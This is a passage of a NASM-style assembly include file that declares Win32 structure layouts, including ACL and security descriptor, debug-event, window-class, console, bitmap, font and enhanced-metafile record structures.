.GenericExecute RESD 1
.GenericAll RESD 1
ENDSTRUC

STRUC LUID
.LowPart RESD 1
.HighPart RESD 1
ENDSTRUC

STRUC LUID_AND_ATTRIBUTES
.pLuid RESD 1
.Attributes RESD 1
ENDSTRUC

STRUC ACL
.AclRevision RESB 1
.Sbz1 RESB 1
.AclSize RESW 1
.AceCount RESW 1
.Sbz2 RESW 1
ENDSTRUC

STRUC ACE_HEADER
.AceType RESB 1
.AceFlags RESB 1
.AceSize RESD 1
ENDSTRUC

STRUC ACCESS_ALLOWED_ACE
.Header RESD 1
.imask RESD 1
.SidStart RESD 1
ENDSTRUC

STRUC ACCESS_DENIED_ACE
.Header RESD 1
.imask RESD 1
.SidStart RESD 1
ENDSTRUC
STRUC SYSTEM_AUDIT_ACE
.Header RESD 1
.imask RESD 1
.SidStart RESD 1
ENDSTRUC

STRUC SYSTEM_ALARM_ACE
.Header RESD 1
.imask RESD 1
.SidStart RESD 1
ENDSTRUC

STRUC ACL_REVISION_INFORMATION
.AclRevision RESD 1
ENDSTRUC

STRUC ACL_SIZE_INFORMATION
.AceCount RESD 1
.AclBytesInUse RESD 1
.AclBytesFree RESD 1
ENDSTRUC

STRUC SECURITY_DESCRIPTOR
.Revision RESB 1
.Sbz1 RESB 1
.Control RESD 1
.Owner RESD 1
.lGroup RESD 1
.Sacl RESD 1
.Dacl RESD 1
ENDSTRUC

STRUC PRIVILEGE_SET
.PrivilegeCount RESD 1
.Control RESD 1
.Privilege RESD 1
ENDSTRUC

STRUC EXCEPTION_RECORD
.ExceptionCode RESD 1
.ExceptionFlags RESD 1
.pExceptionRecord RESD 1
.ExceptionAddress RESD 1
.NumberParameters RESD 1
.ExceptionInformation RESD 1
ENDSTRUC

STRUC EXCEPTION_DEBUG_INFO
.pExceptionRecord RESD 1
.dwFirstChance RESD 1
ENDSTRUC

STRUC CREATE_THREAD_DEBUG_INFO
.hThread RESD 1
.lpThreadLocalBase RESD 1
.lpStartAddress RESD 1
ENDSTRUC

STRUC CREATE_PROCESS_DEBUG_INFO
.hFile RESD 1
.hProcess RESD 1
.hThread RESD 1
.lpBaseOfImage RESD 1
.dwDebugInfoFileOffset RESD 1
.nDebugInfoSize RESD 1
.lpThreadLocalBase RESD 1
.lpStartAddress RESD 1
.lpImageName RESD 1
.fUnicode RESD 1
ENDSTRUC

STRUC EXIT_THREAD_DEBUG_INFO
.dwExitCode RESD 1
ENDSTRUC

STRUC EXIT_PROCESS_DEBUG_INFO
.dwExitCode RESD 1
ENDSTRUC

STRUC LOAD_DLL_DEBUG_INFO
.hFile RESD 1
.lpBaseOfDll RESD 1
.dwDebugInfoFileOffset RESD 1
.nDebugInfoSize RESD 1
.lpImageName RESD 1
.fUnicode RESW 1
ENDSTRUC

STRUC UNLOAD_DLL_DEBUG_INFO
.lpBaseOfDll RESD 1
ENDSTRUC

STRUC OUTPUT_DEBUG_STRING_INFO
.lpDebugStringData RESD 1
.fUnicode RESW 1
.nDebugStringiLength RESW 1
ENDSTRUC

STRUC RIP_INFO
.dwError RESD 1
.dwType RESD 1
ENDSTRUC

STRUC OFSTRUCT
.cBytes RESB 1
.fFixedDisk RESB 1
.nErrCode RESW 1
.Reserved1 RESW 1
.Reserved2 RESW 1
.szPathName RESB 1
ENDSTRUC

STRUC WNDCLASSEX
.cbSize RESD 1
.style RESD 1
.lpfnWndProc RESD 1
.cbClsExtra RESD 1
.cbWndExtra RESD 1
.hInstance RESD 1
.hIcon RESD 1
.hCursor RESD 1
.hbrBackground RESD 1
.lpszMenuName RESD 1
.lpszClassName RESD 1
.hIconSm RESD 1
ENDSTRUC

STRUC WNDCLASS
.style RESD 1
.lpfnWndProc RESD 1
.cbClsExtra RESD 1
.cbWndExtra RESD 1
.hInstance RESD 1
.hIcon RESD 1
.hCursor RESD 1
.hbrBackground RESD 1
.lpszMenuName RESD 1
.lpszClassName RESD 1
ENDSTRUC

STRUC CRITICAL_SECTION
.Par1 RESD 1
.Par2 RESD 1
.Par3 RESD 1
.Par4 RESD 1
.Par5 RESD 1
.Par6 RESD 1
ENDSTRUC

STRUC BY_HANDLE_FILE_INFORMATION
.dwFileAttributes RESD 1
.ftCreationTime RESB FILETIME_size
.ftLastAccessTime RESB FILETIME_size
.ftLastWriteTime RESB FILETIME_size
.dwVolumeSerialNumber RESD 1
.nFileSizeHigh RESD 1
.nFileSizeLow RESD 1
.nNumberOfLinks RESD 1
.nFileIndexHigh RESD 1
.nFileIndexLow RESD 1
ENDSTRUC

STRUC MEMORY_BASIC_INFORMATION
.BaseAddress RESD 1
.AllocationBase RESD 1
.AllocationProtect RESD 1
.RegionSize RESD 1
.State RESD 1
.Protect RESD 1
.lType RESD 1
ENDSTRUC

STRUC EVENTLOGRECORD
.iLength RESD 1
.Reserved RESD 1
.RecordNumber RESD 1
.TimeGenerated RESD 1
.TimeWritten RESD 1
.EventID RESD 1
.EventType RESW 1
.NumStrings RESW 1
.EventCategory RESW 1
.ReservedFlags RESW 1
.ClosingRecordNumber RESD 1
.StringOffset RESD 1
.UserSidiLength RESD 1
.UserSidOffset RESD 1
.DataiLength RESD 1
.DataOffset RESD 1
ENDSTRUC

STRUC TOKEN_GROUPS
.GroupCount RESD 1
.Groups RESD 1
ENDSTRUC

STRUC TOKEN_PRIVILEGES
.PrivilegeCount RESD 1
.Privileges RESD 1
ENDSTRUC

STRUC FLOATING_SAVE_AREA
.ControlWord RESD 1
.StatusWord RESD 1
.TagWord RESD 1
.ErrorOffset RESD 1
.ErrorSelector RESD 1
.DataOffset RESD 1
.DataSelector RESD 1
.RegisterArea RESB 1
.Cr0NpxState RESD 1
ENDSTRUC

STRUC CONTEXT
.ContextFlags RESD 1
.iDr0 RESD 1
.iDr1 RESD 1
.iDr2 RESD 1
.iDr3 RESD 1
.iDr6 RESD 1
.iDr7 RESD 1
.FloatSave RESD 1
.regGs RESD 1
.regFs RESD 1
.regEs RESD 1
.regDs RESD 1
.regEdi RESD 1
.regEsi RESD 1
.regEbx RESD 1
.regEdx RESD 1
.regEcx RESD 1
.regEax RESD 1
.regEbp RESD 1
.regEip RESD 1
.regCs RESD 1
.regFlag RESD 1
.regEsp RESD 1
.regSs RESD 1
ENDSTRUC

STRUC EXCEPTION_POINTERS
.pExceptionRecord RESD 1
.ContextRecord RESD 1
ENDSTRUC

STRUC LDT_BYTES
.BaseMid RESB 1
.Flags1 RESB 1
.Flags2 RESB 1
.BaseHi RESB 1
ENDSTRUC
STRUC LDT_ENTRY
.LimitLow RESW 1
.BaseLow RESW 1
.HiWord RESD 1
ENDSTRUC

STRUC TIME_ZONE_INFORMATION
.Bias RESD 1
.StandardName RESW 1
.StandardDate RESD 1
.StandardBias RESD 1
.DaylightName RESW 1
.DaylightDate RESD 1
.DaylightBias RESD 1
ENDSTRUC

STRUC WIN32_STREAM_ID
.dwStreamID RESD 1
.dwStreamAttributes RESD 1
.dwStreamSizeLow RESD 1
.dwStreamSizeHigh RESD 1
.dwStreamNameSize RESD 1
.cStreamName RESB 1
ENDSTRUC

STRUC STARTUPINFO
.cb RESD 1
.lpReserved RESD 1
.lpDesktop RESD 1
.lpTitle RESD 1
.dwX RESD 1
.dwY RESD 1
.dwXSize RESD 1
.dwYSize RESD 1
.dwXCountChars RESD 1
.dwYCountChars RESD 1
.dwFillAttribute RESD 1
.dwFlags RESD 1
.wShowWindow RESW 1
.cbReserved2 RESW 1
.lpReserved2 RESB 1
.hStdInput RESD 1
.hStdOutput RESD 1
.hStdError RESD 1
ENDSTRUC

STRUC WIN32_FIND_DATA
.dwFileAttributes RESD 1
.ftCreationTime RESB FILETIME_size
.ftLastAccessTime RESB FILETIME_size
.ftLastWriteTime RESB FILETIME_size
.nFileSizeHigh RESD 1
.nFileSizeLow RESD 1
.dwReserved0 RESD 1
.dwReserved1 RESD 1
.cFileName RESB MAX_PATH
.cAlternate RESB 14
ENDSTRUC

STRUC CPINFO
.MaxCharSize RESD 1
.DefaultChar RESB 1
.LeadByte RESB 1
ENDSTRUC

STRUC NUMBERFMT
.NumDigits RESD 1
.LeadingZero RESD 1
.Grouping RESD 1
.lpDecimalSep RESD 1
.lpThousandSep RESD 1
.NegativeOrder RESD 1
ENDSTRUC

STRUC CURRENCYFMT
.NumDigits RESD 1
.LeadingZero RESD 1
.Grouping RESD 1
.lpDecimalSep RESD 1
.lpThousandSep RESD 1
.NegativeOrder RESD 1
.PositiveOrder RESD 1
.lpCurrencySymbol RESD 1
ENDSTRUC

STRUC COORD
.x RESW 1
.y RESW 1
ENDSTRUC

STRUC SMALL_RECT
.left RESW 1
.top RESW 1
.right RESW 1
.bottom RESW 1
ENDSTRUC

STRUC KEY_EVENT_RECORD
.bKeyDown RESD 1
.wRepeatCount RESW 1
.wVirtualKeyCode RESW 1
.wVirtualScanCode RESW 1
.uChar RESW 1
.dwControlKeyState RESD 1
ENDSTRUC

STRUC MOUSE_EVENT_RECORD
.dwMousePosition RESD 1
.dwButtonState RESD 1
.dwControlKeyState RESD 1
.dwEventFlags RESD 1
ENDSTRUC

STRUC WINDOW_BUFFER_SIZE_RECORD
.dwSize RESD 1
ENDSTRUC

STRUC MENU_EVENT_RECORD
.dwCommandId RESD 1
ENDSTRUC

STRUC FOCUS_EVENT_RECORD
.bSetFocus RESD 1
ENDSTRUC
STRUC CHAR_INFO
.Char RESW 1
.Attributes RESW 1
ENDSTRUC

STRUC CONSOLE_SCREEN_BUFFER_INFO
.dwSize RESD 1
.dwCursorPosition RESD 1
.wAttributes RESW 1
.srWindow RESB SMALL_RECT_size
.dwMaximumWindowSize RESD 1
ENDSTRUC

STRUC CONSOLE_CURSOR_INFO
.dwSize RESD 1
.bVisible RESD 1
ENDSTRUC

STRUC XFORM
.eM11 RESQ 1
.eM12 RESQ 1
.eM21 RESQ 1
.eM22 RESQ 1
.ex RESQ 1
.ey RESQ 1
ENDSTRUC

STRUC BITMAP
.bmType RESD 1
.bmWidth RESD 1
.bmHeight RESD 1
.bmWidthBytes RESD 1
.bmPlanes RESW 1
.bmBitsPixel RESW 1
.bmBits RESD 1
ENDSTRUC

STRUC RGBTRIPLE
.rgbtBlue RESB 1
.rgbtGreen RESB 1
.rgbtRed RESB 1
ENDSTRUC

STRUC RGBQUAD
.rgbBlue RESB 1
.rgbGreen RESB 1
.rgbRed RESB 1
.rgbReserved RESB 1
ENDSTRUC

STRUC BITMAPCOREHEADER
.bcSize RESD 1
.bcWidth RESW 1
.bcHeight RESW 1
.bcPlanes RESW 1
.bcBitCount RESW 1
ENDSTRUC

STRUC BITMAPINFOHEADER
.biSize RESD 1
.biWidth RESD 1
.biHeight RESD 1
.biPlanes RESW 1
.biBitCount RESW 1
.biCompression RESD 1
.biSizeImage RESD 1
.biXPelsPerMeter RESD 1
.biYPelsPerMeter RESD 1
.biClrUsed RESD 1
.biClrImportant RESD 1
ENDSTRUC

STRUC BITMAPINFO
.bmiHeader RESD 1
.bmiColors RESD 1
ENDSTRUC

STRUC BITMAPCOREINFO
.bmciHeader RESD 1
.bmciColors RESD 1
ENDSTRUC

STRUC BITMAPFILEHEADER
.bfType RESW 1
.bfSize RESD 1
.bfReserved1 RESW 1
.bfReserved2 RESW 1
.bfOffBits RESD 1
ENDSTRUC

STRUC HANDLETABLE
.objectHandle RESD 1
ENDSTRUC

STRUC METARECORD
.rdSize RESD 1
.rdFunction RESW 1
.rdParm1 RESW 1
ENDSTRUC

STRUC METAFILEPICT
.imm RESD 1
.xExt RESD 1
.yExt RESD 1
.hMF RESD 1
ENDSTRUC

STRUC METAHEADER
.mtType RESW 1
.mtHeaderSize RESW 1
.mtVersion RESW 1
.mtSize RESD 1
.mtNoObjects RESW 1
.mtMaxRecord RESD 1
.mtNoParameters RESW 1
ENDSTRUC

STRUC ENHMETARECORD
.iType RESD 1
.nSize RESD 1
.dParm1 RESD 1
ENDSTRUC

STRUC ENHMETAHEADER
.iType RESD 1
.nSize RESD 1
.rclBounds RESB RECT_size
.rclFrame RESB RECT_size
.dSignature RESD 1
.nVersion RESD 1
.nBytes RESD 1
.nRecords RESD 1
.nHandles RESW 1
.sReserved RESW 1
.nDescription RESD 1
.offDescription RESD 1
.nPalEntries RESD 1
.szlDevice RESD 1
.szlMillimeters RESD 1
ENDSTRUC

STRUC TEXTMETRIC
.tmHeight RESD 1
.tmAscent RESD 1
.tmDescent RESD 1
.tmInternalLeading RESD 1
.tmExternalLeading RESD 1
.tmAveCharWidth RESD 1
.tmMaxCharWidth RESD 1
.tmWeight RESD 1
.tmOverhang RESD 1
.tmDigitizedAspectX RESD 1
.tmDigitizedAspectY RESD 1
.tmFirstChar RESB 1
.tmLastChar RESB 1
.tmDefaultChar RESB 1
.tmBreakChar RESB 1
.tmItalic RESB 1
.tmUnderlined RESB 1
.tmStruckOut RESB 1
.tmPitchAndFamily RESB 1
.tmCharSet RESB 1
ENDSTRUC

STRUC NEWTEXTMETRIC
.tmHeight RESD 1
.tmAscent RESD 1
.tmDescent RESD 1
.tmInternalLeading RESD 1
.tmExternalLeading RESD 1
.tmAveCharWidth RESD 1
.tmMaxCharWidth RESD 1
.tmWeight RESD 1
.tmOverhang RESD 1
.tmDigitizedAspectX RESD 1
.tmDigitizedAspectY RESD 1
.tmFirstChar RESB 1
.tmLastChar RESB 1
.tmDefaultChar RESB 1
.tmBreakChar RESB 1
.tmItalic RESB 1
.tmUnderlined RESB 1
.tmStruckOut RESB 1
.tmPitchAndFamily RESB 1
.tmCharSet RESB 1
.ntmFlags RESD 1
.ntmSizeEM RESD 1
.ntmCellHeight RESD 1
.ntmAveWidth RESD 1
ENDSTRUC

STRUC PELARRAY
.paXCount RESD 1
.paYCount RESD 1
.paXExt RESD 1
.paYExt RESD 1
.paRGBs RESW 1
ENDSTRUC

STRUC LOGBRUSH
.lbStyle RESD 1
.lbColor RESD 1
.lbHatch RESD 1
ENDSTRUC

STRUC LOGPEN
.lopnStyle RESD 1
.lopnWidth RESD 1
.lopnColor RESD 1
ENDSTRUC

STRUC EXTLOGPEN
.elpPenStyle RESD 1
.elpWidth RESD 1
.elpBrushStyle RESD 1
.elpColor RESD 1
.elpHatch RESD 1
.elpNumEntries RESD 1
.elpStyleEntry RESD 1
ENDSTRUC

STRUC PALETTEENTRY
.peRed RESB 1
.peGreen RESB 1
.peBlue RESB 1
.peFlags RESB 1
ENDSTRUC

STRUC LOGPALETTE
.palVersion RESW 1
.palNumEntries RESW 1
.palPalEntry RESD 1
ENDSTRUC

STRUC LOGFONT
.lfHeight RESD 1
.lfWidth RESD 1
.lfEscapement RESD 1
.lfOrientation RESD 1
.lfWeight RESD 1
.lfItalic RESB 1
.lfUnderline RESB 1
.lfStrikeOut RESB 1
.lfCharSet RESB 1
.lfOutPrecision RESB 1
.lfClipPrecision RESB 1
.lfQuality RESB 1
.lfPitchAndFamily RESB 1
.lfFaceName RESB LF_FACESIZE
ENDSTRUC

STRUC NONCLIENTMETRICS
.cbSize RESD 1
.iBorderWidth RESD 1
.iScrollWidth RESD 1
.iScrollHeight RESD 1
.iCaptionWidth RESD 1
.iCaptionHeight RESD 1
.lfCaptionFont RESD 1
.iSMCaptionWidth RESD 1
.iSMCaptionHeight RESD 1
.lfSMCaptionFont RESD 1
.iMenuWidth RESD 1
.iMenuHeight RESD 1
.lfMenuFont RESD 1
.lfStatusFont RESD 1
.lfMessageFont RESD 1
ENDSTRUC

STRUC ENUMLOGFONT
.elfLogFont RESD 1
.elfFullName RESB 1
.elfStyle RESB 1
ENDSTRUC

STRUC PANOSE
.ulculture RESD 1
.bFamilyType RESB 1
.bSerifStyle RESB 1
.bWeight RESB 1
.bProportion RESB 1
.bContrast RESB 1
.bStrokeVariation RESB 1
.bArmStyle RESB 1
.bLetterform RESB 1
.bMidline RESB 1
.bXHeight RESB 1
ENDSTRUC

STRUC EXTLOGFONT
.elfLogFont RESD 1
.elfFullName RESB 1
.elfStyle RESB 1
.elfVersion RESD 1
.elfStyleSize RESD 1
.elfMatch RESD 1
.elfReserved RESD 1
.elfVendorId RESB 1
.elfCulture RESD 1
.elfPanose RESD 1
ENDSTRUC

STRUC DEVMODE
.dmDeviceName RESB 1
.dmSpecVersion RESW 1
.dmDriverVersion RESW 1
.dmSize RESW 1
.dmDriverExtra RESW 1
.dmFields RESD 1
.dmOrientation RESW 1
.dmPaperSize RESW 1
.dmPaperiLength RESW 1
.dmPaperWidth RESW 1
.dmScale RESW 1
.dmCopies RESW 1
.dmDefaultSource RESW 1
.dmPrintQuality RESW 1
.dmColor RESW 1
.dmDuplex RESW 1
.dmYResolution RESW 1
.dmTTOption RESW 1
.dmCollate RESW 1
.dmFormName RESB CCHFORMNAME
.dmUnusedPadding RESW 1
.dmBitsPerPel RESW 1
.dmPelsWidth RESD 1
.dmPelsHeight RESD 1
.dmDisplayFlags RESD 1
.dmDisplayFrequency RESD 1
ENDSTRUC

STRUC RGNDATAHEADER
.dwSize RESD 1
.iType RESD 1
.nCount RESD 1
.nRgnSize RESD 1
.rcBound RESB RECT_size
ENDSTRUC

STRUC RGNDATA
.rdh RESD 1
.Buffer RESB 1
ENDSTRUC

STRUC ABC
.abcA RESD 1
.abcB RESD 1
.abcC RESD 1
ENDSTRUC

STRUC ABCFLOAT
.abcfA RESQ 1
.abcfB RESQ 1
.abcfC RESQ 1
ENDSTRUC

STRUC OUTLINETEXTMETRIC
.otmSize RESD 1
.otmTextMetrics RESD 1
.otmFiller RESB 1
.otmPanoseNumber RESD 1
.otmfsSelection RESD 1
.otmfsType RESD 1
.otmsCharSlopeRise RESD 1
.otmsCharSlopeRun RESD 1
.otmItalicAngle RESD 1
.otmEMSquare RESD 1
.otmAscent RESD 1
.otmDescent RESD 1
.otmLineGap RESD 1
.otmsCapEmHeight RESD 1
.otmsXHeight RESD 1
.otmrcFontBox RESB RECT_size
.otmMacAscent RESD 1
.otmMacDescent RESD 1
.otmMacLineGap RESD 1
.otmusMinimumPPEM RESD 1
.otmptSubscriptSize RESD 1
.otmptSubscriptOffset RESD 1
.otmptSuperscriptSize RESD 1
.otmptSuperscriptOffset RESD 1
.otmsStrikeoutSize RESD 1
.otmsStrikeoutPosition RESD 1
.otmsUnderscorePosition RESD 1
.otmsUnderscoreSize RESD 1
.otmpFamilyName RESD 1
.otmpFaceName RESD 1
.otmpStyleName RESD 1
.otmpFullName RESD 1
ENDSTRUC

STRUC POLYTEXT
.x RESD 1
.y RESD 1
.n RESD 1
.lpStr RESD 1
.uiFlags RESD 1
.rcl RESB RECT_size
.pdx RESD 1
ENDSTRUC

STRUC FIXED
.fract RESW 1
.Value RESW 1
ENDSTRUC

STRUC MAT2
.eM11 RESD 1
.eM12 RESD 1
.eM21 RESD 1
.eM22 RESD 1
ENDSTRUC

STRUC GLYPHMETRICS
.gmBlackBoxX RESD 1
.gmBlackBoxY RESD 1
.gmptGlyphOrigin RESD 1
.gmCellIncX RESW 1
.gmCellIncY RESW 1
ENDSTRUC

STRUC POINTFX
.x RESD 1
.y RESD 1
ENDSTRUC

STRUC TTPOLYCURVE
.wType RESW 1
.cpfx RESW 1
.apfx RESD 1
ENDSTRUC

STRUC TTPOLYGONHEADER
.cb RESD 1
.dwType RESD 1
.pfxStart RESD 1
ENDSTRUC

STRUC RASTERIZER_STATUS
.nSize RESW 1
.wFlags RESW 1
.nLanguageID RESW 1
ENDSTRUC

STRUC COLORADJUSTMENT
.caSize RESW 1
.caFlags RESW 1
.caIlluminantIndex RESW 1
.caRedGamma RESW 1
.caGreenGamma RESW 1
.caBlueGamma RESW 1
.caReferenceBlack RESW 1
.caReferenceWhite RESW 1
.caContrast RESW 1
.caBrightness RESW 1
.caColorfulness RESW 1
.caRedGreenTint RESW 1
ENDSTRUC

STRUC DOCINFO
.cbSize RESD 1
.lpszDocName RESD 1
.lpszOutput RESD 1
ENDSTRUC

STRUC KERNINGPAIR
.wFirst RESW 1
.wSecond RESW 1
.iKernAmount RESD 1
ENDSTRUC

STRUC emr
.iType RESD 1
.nSize RESD 1
ENDSTRUC

STRUC emrtext
.ptlReference RESB POINT_size
.nchars RESD 1
.offString RESD 1
.fOptions RESD 1
.ircl RESD 1
.offDx RESD 1
ENDSTRUC

STRUC EMR
.iType RESD 1
.nSize RESD 1
ENDSTRUC

STRUC EMRABORTPATH
.emr RESB EMR_size
ENDSTRUC

STRUC EMRBEGINPATH
.emr RESB EMR_size
ENDSTRUC

STRUC EMRENDPATH
.emr RESB EMR_size
ENDSTRUC

STRUC EMRCLOSEFIGURE
.emr RESB EMR_size
ENDSTRUC

STRUC EMRFLATTENPATH
.emr RESB EMR_size
ENDSTRUC

STRUC EMRWIDENPATH
.emr RESB EMR_size
ENDSTRUC

STRUC EMRSETMETARGN
.emr RESB EMR_size
ENDSTRUC

STRUC EMREMRSAVEDC
.emr RESB EMR_size
ENDSTRUC

STRUC EMRREALIZEPALETTE
.emr RESB EMR_size
ENDSTRUC

STRUC EMRSELECTCLIPPATH
.emr RESB EMR_size
.iMode RESD 1
ENDSTRUC

STRUC EMRSETBKMODE
.emr RESB EMR_size
.iMode RESD 1
ENDSTRUC

STRUC EMRSETMAPMODE
.emr RESB EMR_size
.iMode RESD 1
ENDSTRUC

STRUC EMRSETPOLYFILLMODE
.emr RESB EMR_size
.iMode RESD 1
ENDSTRUC

STRUC EMRSETROP2
.emr RESB EMR_size
.iMode RESD 1
ENDSTRUC

STRUC EMRSETSTRETCHBLTMODE
.emr RESB EMR_size
.iMode RESD 1
ENDSTRUC

STRUC EMRSETTEXTALIGN
.emr RESB EMR_size
.iMode RESD 1
ENDSTRUC

STRUC EMRSETMITERLIMIT
.emr RESB EMR_size
.eMiterLimit RESQ 1
ENDSTRUC

STRUC EMRRESTOREDC
.emr RESB EMR_size
.iRelative RESD 1
ENDSTRUC

STRUC EMRSETARCDIRECTION
.emr RESB EMR_size
.iArcDirection RESD 1
ENDSTRUC

STRUC EMRSETMAPPERFLAGS
.emr RESB EMR_size
.dwFlags RESD 1
ENDSTRUC

STRUC EMRSETTEXTCOLOR
.emr RESB EMR_size
.crColor RESD 1
ENDSTRUC

STRUC EMRSETBKCOLOR
.emr RESB EMR_size
.crColor RESD 1
ENDSTRUC

STRUC EMRSELECTOBJECT
.emr RESB EMR_size
.ihObject RESD 1
ENDSTRUC

STRUC EMRDELETEOBJECT
.emr RESB EMR_size
.ihObject RESD 1
ENDSTRUC

STRUC EMRSELECTPALETTE
.emr RESB EMR_size
.ihPal RESD 1
ENDSTRUC

STRUC EMRRESIZEPALETTE
.emr RESB EMR_size
.ihPal RESD 1
.cEntries RESD 1
ENDSTRUC

STRUC EMRSETPALETTEENTRIES
.emr RESB EMR_size
.ihPal RESD 1
.iStart RESD 1
.cEntries RESD 1
.aPalEntries RESD 1
ENDSTRUC

STRUC EMRSETCOLORADJUSTMENT
.emr RESB EMR_size
.ColorAdjustment RESD 1
ENDSTRUC

STRUC EMRGDICOMMENT
.emr RESB EMR_size
.cbData RESD 1
.xData1 RESW 1
ENDSTRUC
STRUC EMREOF
.emr RESB EMR_size
.nPalEntries RESD 1
.offPalEntries RESD 1
.nSizeLast RESD 1
ENDSTRUC

STRUC EMRLINETO
.emr RESB EMR_size
.ptl RESB POINT_size
ENDSTRUC

STRUC EMRMOVETOEX
.emr RESB EMR_size
.ptl RESB POINT_size
ENDSTRUC

STRUC EMROFFSETCLIPRGN
.emr RESB EMR_size
.ptlOffset RESB POINT_size
ENDSTRUC

STRUC EMRFILLPATH
.emr RESB EMR_size
.rclBounds RESB RECT_size
ENDSTRUC

STRUC EMRSTROKEANDFILLPATH
.emr RESB EMR_size
.rclBounds RESB RECT_size
ENDSTRUC

STRUC EMRSTROKEPATH
.emr RESB EMR_size
.rclBounds RESB RECT_size
ENDSTRUC

STRUC EMREXCLUDECLIPRECT
.emr RESB EMR_size
.rclClip RESB RECT_size
ENDSTRUC

STRUC EMRINTERSECTCLIPRECT
.emr RESB EMR_size
.rclClip RESB RECT_size
ENDSTRUC

STRUC EMRSETVIEWPORTORGEX
.emr RESB EMR_size
.ptlOrigin RESB POINT_size
ENDSTRUC

STRUC EMRSETWINDOWORGEX
.emr RESB EMR_size
.ptlOrigin RESB POINT_size
ENDSTRUC

STRUC EMRSETBRUSHORGEX
.emr RESB EMR_size
.ptlOrigin RESB POINT_size
ENDSTRUC
STRUC EMRSETVIEWPORTEXTEX
.emr RESB EMR_size
.szlExtent RESD 1
ENDSTRUC

STRUC EMRSETWINDOWEXTEX
.emr RESB EMR_size
.szlExtent RESD 1
ENDSTRUC

STRUC EMRSCALEVIEWPORTEXTEX
.emr RESB EMR_size
.xNum RESD 1
.xDenom RESD 1
.yNum RESD 1
.yDemon RESD 1
ENDSTRUC

STRUC EMRSCALEWINDOWEXTEX
.emr RESB EMR_size
.xNum RESD 1
.xDenom RESD 1
.yNum RESD 1
.yDemon RESD 1
ENDSTRUC

STRUC EMRSETWORLDTRANSFORM
.emr RESB EMR_size
.xform RESD 1
ENDSTRUC

STRUC EMRMODIFYWORLDTRANSFORM
.emr RESB EMR_size
.xform RESD 1
.iMode RESD 1
ENDSTRUC

STRUC EMRSETPIXELV
.emr RESB EMR_size
.ptlPixel RESB POINT_size
.crColor RESD 1
ENDSTRUC

STRUC EMREXTFLOODFILL
.emr RESB EMR_size
.ptlStart RESB POINT_size
.crColor RESD 1
.iMode RESD 1
ENDSTRUC

STRUC EMRELLIPSE
.emr RESB EMR_size
.rclBox RESB RECT_size
ENDSTRUC

STRUC EMRRECTANGLE
.emr RESB EMR_size
.rclBox RESB RECT_size
ENDSTRUC

STRUC EMRROUNDRECT
.emr RESB EMR_size
.rclBox RESB RECT_size
.szlCorner RESD 1
ENDSTRUC

STRUC EMRARC
.emr RESB EMR_size
.rclBox RESB RECT_size
.ptlStart RESB POINT_size
.ptlEnd RESB POINT_size
ENDSTRUC

STRUC EMRARCTO
.emr RESB EMR_size
.rclBox RESB RECT_size
.ptlStart RESB POINT_size
.ptlEnd RESB POINT_size
ENDSTRUC

STRUC EMRCHORD
.emr RESB EMR_size
.rclBox RESB RECT_size
.ptlStart RESB POINT_size
.ptlEnd RESB POINT_size
ENDSTRUC

STRUC EMRPIE
.emr RESB EMR_size
.rclBox RESB RECT_size
.ptlStart RESB POINT_size
.ptlEnd RESB POINT_size
ENDSTRUC

STRUC EMRANGLEARC
.emr RESB EMR_size
.ptlCenter RESB POINT_size
.nRadius RESD 1
.eStartAngle RESQ 1
.eSweepAngle RESQ 1
ENDSTRUC

STRUC EMRPOLYLINE
.emr RESB EMR_size
.rclBounds RESB RECT_size
.cptl RESD 1
.aptl1 RESD 1
ENDSTRUC

STRUC EMRPOLYBEZIER
.emr RESB EMR_size
.rclBounds RESB RECT_size
.cptl RESD 1
.aptl1 RESD 1
ENDSTRUC

STRUC EMRPOLYGON
.emr RESB EMR_size
.rclBounds RESB RECT_size
.cptl RESD 1
.aptl1 RESD 1
ENDSTRUC

STRUC EMRPOLYBEZIERTO
.emr RESB EMR_size
.rclBounds RESB RECT_size
.cptl RESD 1
.aptl1 RESD 1
ENDSTRUC

STRUC EMRPOLYLINE16
.emr RESB EMR_size
.rclBounds RESB RECT_size
.cpts RESD 1
.apts1 RESD 1
ENDSTRUC

STRUC EMRPOLYBEZIER16
.emr RESB EMR_size
.rclBounds RESB RECT_size
.cpts RESD 1
.apts1 RESD 1
ENDSTRUC

STRUC EMRPOLYGON16
.emr RESB EMR_size
.rclBounds RESB RECT_size
.cpts RESD 1
.apts1 RESD 1
ENDSTRUC

STRUC EMRPLOYBEZIERTO16
.emr RESB EMR_size
.rclBounds RESB RECT_size
.cpts RESD 1
.apts1 RESD 1
ENDSTRUC

STRUC EMRPOLYLINETO16
.emr RESB EMR_size
.rclBounds RESB RECT_size
.cpts RESD 1
.apts1 RESD 1
ENDSTRUC

STRUC EMRPOLYDRAW
.emr RESB EMR_size
.rclBounds RESB RECT_size
.cptl RESD 1
.aptl1 RESD 1
.abTypes1 RESW 1
ENDSTRUC

STRUC EMRPOLYDRAW16
.emr RESB EMR_size
.rclBounds RESB RECT_size
.cpts RESD 1
.apts RESD 1
.abTypes RESW 1
ENDSTRUC

STRUC EMRPOLYPOLYLINE
.emr RESB EMR_size
.rclBounds RESB RECT_size
.nPolys RESD 1
.cptl RESD 1
.aPolyCounts RESD 1
.aptl RESD 1
ENDSTRUC
STRUC EMRPOLYPOLYGON
.emr RESB EMR_size
.rclBounds RESB RECT_size
.nPolys RESD 1
.cptl RESD 1
.aPolyCounts RESD 1
.aptl1 RESD 1
ENDSTRUC

STRUC EMRPOLYPOLYLINE16
.emr RESB EMR_size
.rclBounds RESB RECT_size
.nPolys RESD 1
.cpts RESD 1
.aPolyCounts RESD 1
.apts1 RESD 1
ENDSTRUC

STRUC EMRPOLYPOLYGON16
.emr RESB EMR_size
.rclBounds RESB RECT_size
.nPolys RESD 1
.cpts RESD 1
.aPolyCounts RESD 1
.apts1 RESD 1
ENDSTRUC

STRUC EMRINVERTRGN
.emr RESB EMR_size
.rclBounds RESB RECT_size
.cbRgnData RESD 1
.RgnData1 RESW 1
ENDSTRUC

STRUC EMRPAINTRGN
.emr RESB EMR_size
.rclBounds RESB RECT_size
.cbRgnData RESD 1
.RgnData1 RESW 1
ENDSTRUC

STRUC EMRFILLRGN
.emr RESB EMR_size
.rclBounds RESB RECT_size
.cbRgnData RESD 1
.ihBrush RESD 1
.RgnData RESW 1
ENDSTRUC

STRUC EMRFRAMERGN
.emr RESB EMR_size
.rclBounds RESB RECT_size
.cbRgnData RESD 1
.ihBrush RESD 1
.szlStroke RESD 1
.RgnData1 RESW 1
ENDSTRUC

STRUC EMREXTSELECTCLIPRGN
.emr RESB EMR_size
.cbRgnData RESD 1
.iMode RESD 1
.RgnData RESW 1
ENDSTRUC

